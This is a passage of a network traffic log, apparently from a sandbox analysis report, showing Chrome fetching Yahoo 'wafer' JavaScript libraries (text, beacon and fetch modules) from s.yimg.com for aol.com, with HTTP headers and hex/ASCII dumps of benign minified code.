l=s(this,(t.__proto__\|\|Object.getPro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49788	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:38 UTC	528	OUT	GET /aaq/wf/wf-text-1.2.0.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:39 UTC	852	IN	HTTP/1.1 200 OK x-amz-id-2: Po8k4lzvcM7PZoHw/tJcyEzpCo/CmsBMR2+PnLyaNzxne9IWryqSxt4ZK2y3QugABYhpDP/jVb4= x-amz-request-id: M210ZK0N27TZDP4N Date: Thu, 23 May 2024 18:30:11 GMT Last-Modified: Mon, 23 Aug 2021 06:24:25 GMT ETag: "2429af8e863dd0a24a014a7270aec347" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: OPP8OVj8GMv8MfkR.jmYn7rj.hGKhZca Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 3920 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 14668 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 74 65 78 74 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 74 65 78 74 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d 2c 65 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-text",[],t):"object"==typeof exports?exports["wafer-text"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 3b 76 61 72 20 75 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 Data Ascii: pe=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}Object.defineProperty(t,"__esModule",{value:!0});var u=Object.assign\|\|function(e){for(va
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 65 3a 7b 64 65 66 61 75 6c 74 3a 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 21 74 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 26 26 22 66 75 6e 63 74 69 6f 6e Data Ascii: e:{default:e}}function f(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function u(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t\|\|"object"!=typeof t&&"function
2024-05-23 22:34:39 UTC	20	IN	Data Raw: 6f 72 74 73 3d 74 2e 64 65 66 61 75 6c 74 7d 7d 29 7d 29 3b Data Ascii: orts=t.default}})});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49787	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:38 UTC	530	OUT	GET /aaq/wf/wf-beacon-1.3.4.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:39 UTC	829	IN	HTTP/1.1 200 OK x-amz-id-2: rL8Q4ma5581fGch6O/dzDbz6qDr9eiHaBxyH8dXYpE4QJDFe1QpsxVHE+/x9yxaQu5APrgxULFQ= x-amz-request-id: FZVXWJVHPGC0CAQP Date: Thu, 23 May 2024 20:13:12 GMT Last-Modified: Mon, 13 Feb 2023 05:31:36 GMT ETag: "e78582b54dd8af6ceb66109ec39d402a" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: uicRV2XkT8oSMEinQk8RF9dNboX_0nQX Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 11137 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 8487 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 62 65 61 63 6f 6e 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 62 65 61 63 6f 6e 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-beacon",[],t):"object"==typeof exports?exports["wafer-beacon"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 3b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b Data Ascii: rototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}Object.defineProperty(t,"__esModule",{value:!0});var a=Object.assign\|\|function(e){
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 28 6e 29 7d 2c 75 3d 5b 22 69 6d 61 67 65 2d 62 65 61 63 6f 6e 73 22 2c 22 62 65 61 63 6f 6e 73 22 5d 2c 66 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2c 68 3d 66 2e 62 61 73 65 2c 64 3d 66 2e 63 6f 6e 73 74 61 6e 74 73 2c 76 3d 66 2e 57 61 66 65 72 42 61 73 65 43 6c 61 73 73 2c 70 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 75 74 69 6c 73 2c 79 3d 70 2e 65 6c 65 6d 65 6e 74 49 6e 56 69 65 77 2c 62 3d 70 2e 66 69 72 65 42 65 61 63 6f 6e 2c 67 3d 5b 22 68 61 6e 64 6c 65 42 65 61 63 6f 6e 43 6c 69 63 6b 22 2c 22 68 61 6e 64 6c 65 42 65 61 63 6f 6e 4d 6f 75 73 65 65 6e 74 65 72 22 5d 2c 77 3d 64 2e 41 54 54 52 5f 50 52 45 46 49 58 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 76 61 72 20 72 3d 61 72 67 75 6d 65 6e 74 73 2e Data Ascii: (n)},u=["image-beacons","beacons"],f=window.wafer,h=f.base,d=f.constants,v=f.WaferBaseClass,p=window.wafer.utils,y=p.elementInView,b=p.fireBeacon,g=["handleBeaconClick","handleBeaconMouseenter"],w=d.ATTR_PREFIX,m=function(e){function t(e){var r=arguments.
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 41 2c 69 6e 76 69 65 77 54 69 6d 65 3a 30 2c 69 6e 76 69 65 77 53 74 61 72 74 54 69 6d 65 3a 30 2c 74 72 69 67 67 65 72 50 65 72 63 65 6e 74 59 3a 69 73 4e 61 4e 28 54 29 3f 35 30 3a 54 2c 74 72 69 67 67 65 72 50 65 72 63 65 6e 74 58 3a 69 73 4e 61 4e 28 43 29 3f 35 30 3a 43 2c 75 72 6c 3a 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 77 2b 22 75 72 6c 22 29 7d 29 2c 67 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 5b 65 5d 3d 6c 5b 65 5d 2e 62 69 6e 64 28 6c 29 7d 29 2c 22 6d 6f 75 73 65 65 6e 74 65 72 22 3d 3d 3d 6d 26 26 6c 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 2c 6c 7d 72 65 74 75 72 6e 20 6f 28 74 2c 65 29 2c 63 28 74 2c 5b 7b 6b 65 79 3a 22 6c 6f 61 64 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b Data Ascii: A,inviewTime:0,inviewStartTime:0,triggerPercentY:isNaN(T)?50:T,triggerPercentX:isNaN(C)?50:C,url:e.getAttribute(w+"url")}),g.forEach(function(e){l[e]=l[e].bind(l)}),"mouseenter"===m&&l.addEventListeners(),l}return o(t,e),c(t,[{key:"load",value:function(){
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 64 41 6c 77 61 79 73 54 72 69 67 67 65 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 65 61 63 68 43 6c 69 63 6b 22 3d 3d 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 74 72 69 67 67 65 72 7d 7d 2c 7b 6b 65 79 3a 22 6e 6f 64 65 4f 75 74 6f 66 56 69 65 77 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 74 3d 65 2e 69 6e 76 69 65 77 53 74 61 72 74 54 69 6d 65 3b 69 66 28 74 3e 30 29 7b 76 61 72 20 72 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 74 68 69 73 2e 5f 75 74 69 6c 2e 69 6e 76 69 65 77 54 69 6d 65 2b 3d 72 2d 74 7d 74 68 69 73 2e 5f 75 74 69 6c 2e 69 6e 76 69 65 77 53 74 61 72 74 54 69 6d 65 3d 30 7d 7d 2c 7b 6b 65 79 3a 22 73 74 61 74 65 44 69 64 55 70 64 61 74 65 22 2c 76 Data Ascii: dAlwaysTrigger",value:function(){return"eachClick"===this._util.trigger}},{key:"nodeOutofView",value:function(){var e=this._util,t=e.inviewStartTime;if(t>0){var r=Date.now();this._util.inviewTime+=r-t}this._util.inviewStartTime=0}},{key:"stateDidUpdate",v
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 74 2e 64 65 66 61 75 6c 74 3d 6d 2c 65 2e 65 78 70 6f 72 74 73 3d 74 2e 64 65 66 61 75 6c 74 7d 2c 22 2e 2f 73 72 63 2f 63 6f 6e 74 72 6f 6c 6c 65 72 2e 6a 73 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 72 65 74 75 72 6e 20 63 3d 69 28 72 28 22 2e 2f 73 72 63 2f 62 61 73 65 2e 6a 73 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 65 3a 7b 64 65 66 61 75 6c 74 3a 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 Data Ascii: t.default=m,e.exports=t.default},"./src/controller.js":function(e,t,r){"use strict";function n(){return c=i(r("./src/base.js"))}function i(e){return e&&e.__esModule?e:{default:e}}function o(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a clas
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 72 67 75 6d 65 6e 74 73 5b 74 5d 3b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 72 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 72 2c 6e 29 26 26 28 65 5b 6e 5d 3d 72 5b 6e 5d 29 7d 72 65 74 75 72 6e 20 65 7d 2c 66 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 76 61 72 20 6e 3d 74 5b 72 5d 3b 6e 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 6e 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 6e 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 6e 26 26 28 6e 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 Data Ascii: rguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},f=function(){function e(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable\|\|!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.definePrope
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 72 3d 21 31 2c 6e 3d 76 6f 69 64 20 30 3b 74 72 79 7b 66 6f 72 28 76 61 72 20 69 2c 6f 3d 65 2e 76 61 6c 75 65 73 28 29 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 28 29 3b 21 28 74 3d 28 69 3d 6f 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 3b 74 3d 21 30 29 69 2e 76 61 6c 75 65 2e 69 6e 73 74 61 6e 63 65 2e 6e 6f 64 65 4f 75 74 6f 66 56 69 65 77 28 29 7d 63 61 74 63 68 28 65 29 7b 72 3d 21 30 2c 6e 3d 65 7d 66 69 6e 61 6c 6c 79 7b 74 72 79 7b 21 74 26 26 6f 2e 72 65 74 75 72 6e 26 26 6f 2e 72 65 74 75 72 6e 28 29 7d 66 69 6e 61 6c 6c 79 7b 69 66 28 72 29 74 68 72 6f 77 20 6e 7d 7d 7d 65 6c 73 65 20 74 68 69 73 2e 5f 76 61 6c 69 64 61 74 65 57 69 74 68 54 68 72 6f 74 74 6c 65 28 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 52 65 73 69 7a 65 22 2c Data Ascii: r=!1,n=void 0;try{for(var i,o=e.values()[Symbol.iterator]();!(t=(i=o.next()).done);t=!0)i.value.instance.nodeOutofView()}catch(e){r=!0,n=e}finally{try{!t&&o.return&&o.return()}finally{if(r)throw n}}}else this._validateWithThrottle()}},{key:"handleResize",
2024-05-23 22:34:39 UTC	737	IN	Data Raw: 2c 6e 3d 76 6f 69 64 20 30 3b 74 72 79 7b 66 6f 72 28 76 61 72 20 69 2c 6f 3d 65 2e 65 6e 74 72 69 65 73 28 29 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 28 29 3b 21 28 74 3d 28 69 3d 6f 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 3b 74 3d 21 30 29 7b 76 61 72 20 61 3d 6c 28 69 2e 76 61 6c 75 65 2c 32 29 2c 73 3d 61 5b 30 5d 2c 63 3d 61 5b 31 5d 2c 75 3d 63 2e 69 6e 73 74 61 6e 63 65 2c 66 3d 75 2e 5f 75 74 69 6c 2c 68 3d 66 2e 68 61 73 4f 66 66 73 65 74 59 2c 64 3d 66 2e 68 61 73 4f 66 66 73 65 74 58 2c 76 3d 66 2e 74 72 69 67 67 65 72 50 65 72 63 65 6e 74 59 2c 70 3d 66 2e 74 72 69 67 67 65 72 50 65 72 63 65 6e 74 58 3b 21 68 26 26 28 63 2e 69 6e 73 74 61 6e 63 65 2e 6f 66 66 73 65 74 59 3d 2d 70 61 72 73 65 49 6e 74 28 73 2e 63 6c 69 65 6e 74 48 Data Ascii: ,n=void 0;try{for(var i,o=e.entries()[Symbol.iterator]();!(t=(i=o.next()).done);t=!0){var a=l(i.value,2),s=a[0],c=a[1],u=c.instance,f=u._util,h=f.hasOffsetY,d=f.hasOffsetX,v=f.triggerPercentY,p=f.triggerPercentX;!h&&(c.instance.offsetY=-parseInt(s.clientH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49786	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:38 UTC	530	OUT	GET /aaq/wf/wf-fetch-1.19.1.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:39 UTC	853	IN	HTTP/1.1 200 OK x-amz-id-2: /jlv17FUneRXcBVQ+sLzxRwvxRiY54P1S7MZ9M3VHLqWXw+tuJmg1Xq8heuw1EhU1+DEIeFts6s= x-amz-request-id: 0KPKANT8TFZ9YMKC Date: Thu, 23 May 2024 13:40:13 GMT Last-Modified: Fri, 20 Oct 2023 09:18:13 GMT ETag: "83379d1cf4df945eadf3f545ce6dd7d2" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: QAq_AzKDx.aTwX4kgKMqil_11NgBrBit Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 17306 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 32067 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 66 65 74 63 68 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 66 65 74 63 68 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-fetch",[],t):"object"==typeof exports?exports["wafer-fetch"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{}
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 26 26 6e 75 6c 6c 21 3d 3d 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 2c 20 6e 6f 74 20 22 2b 74 79 70 65 6f 66 20 74 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 Data Ascii: tion"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 61 3f 76 6f 69 64 20 30 3a 65 28 61 2c 72 2c 6e 29 7d 69 66 28 22 76 61 6c 75 65 22 69 6e 20 69 29 72 65 74 75 72 6e 20 69 2e 76 61 6c 75 65 3b 76 61 72 20 6f 3d 69 2e 67 65 74 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 6f 29 72 65 74 75 72 6e 20 6f 2e 63 61 6c 6c 28 6e 29 7d 2c 66 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2c 64 3d 66 2e 62 61 73 65 2c 68 3d 66 2e 63 6f 6e 73 74 61 6e 74 73 2c 79 3d 66 2e 75 74 69 6c 73 2c 67 3d 66 2e 57 61 66 65 72 42 61 73 65 43 6c 61 73 73 2c 76 3d 68 2e 41 54 54 52 5f 50 52 45 46 49 58 2c 6d 3d 79 2e 63 6c 65 61 72 41 6e 64 53 65 74 49 6e 6e 65 72 48 54 4d 4c 2c 70 3d 79 2e 63 6f 6e 76 65 72 74 4e 6f 64 65 4c 69 73 74 54 6f 41 72 72 Data Ascii: etPrototypeOf(t);return null===a?void 0:e(a,r,n)}if("value"in i)return i.value;var o=i.get;if(void 0!==o)return o.call(n)},f=window.wafer,d=f.base,h=f.constants,y=f.utils,g=f.WaferBaseClass,v=h.ATTR_PREFIX,m=y.clearAndSetInnerHTML,p=y.convertNodeListToArr
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 2b 22 74 61 72 67 65 74 22 29 2c 4e 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 76 2b 22 74 69 6d 65 6f 75 74 22 29 2c 46 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 76 2b 22 74 79 70 65 22 29 7c 7c 22 64 65 66 61 75 6c 74 22 2c 4d 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 76 2b 22 75 73 65 2d 70 61 67 65 2d 72 69 64 22 29 2c 52 3d 28 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 76 2b 22 66 65 74 63 68 2d 74 72 69 67 67 65 72 2d 6f 66 66 73 65 74 22 29 7c 7c 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 76 2b 22 74 72 69 67 67 65 72 2d 6f 66 66 73 65 74 22 29 7c 7c 22 22 29 2e 73 70 6c 69 74 28 22 20 22 29 2c 57 3d 63 28 52 2c 32 29 2c 42 3d 57 5b 30 5d 2c 44 3d 57 5b 31 5d 2c 71 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 76 2b 22 72 65 Data Ascii: 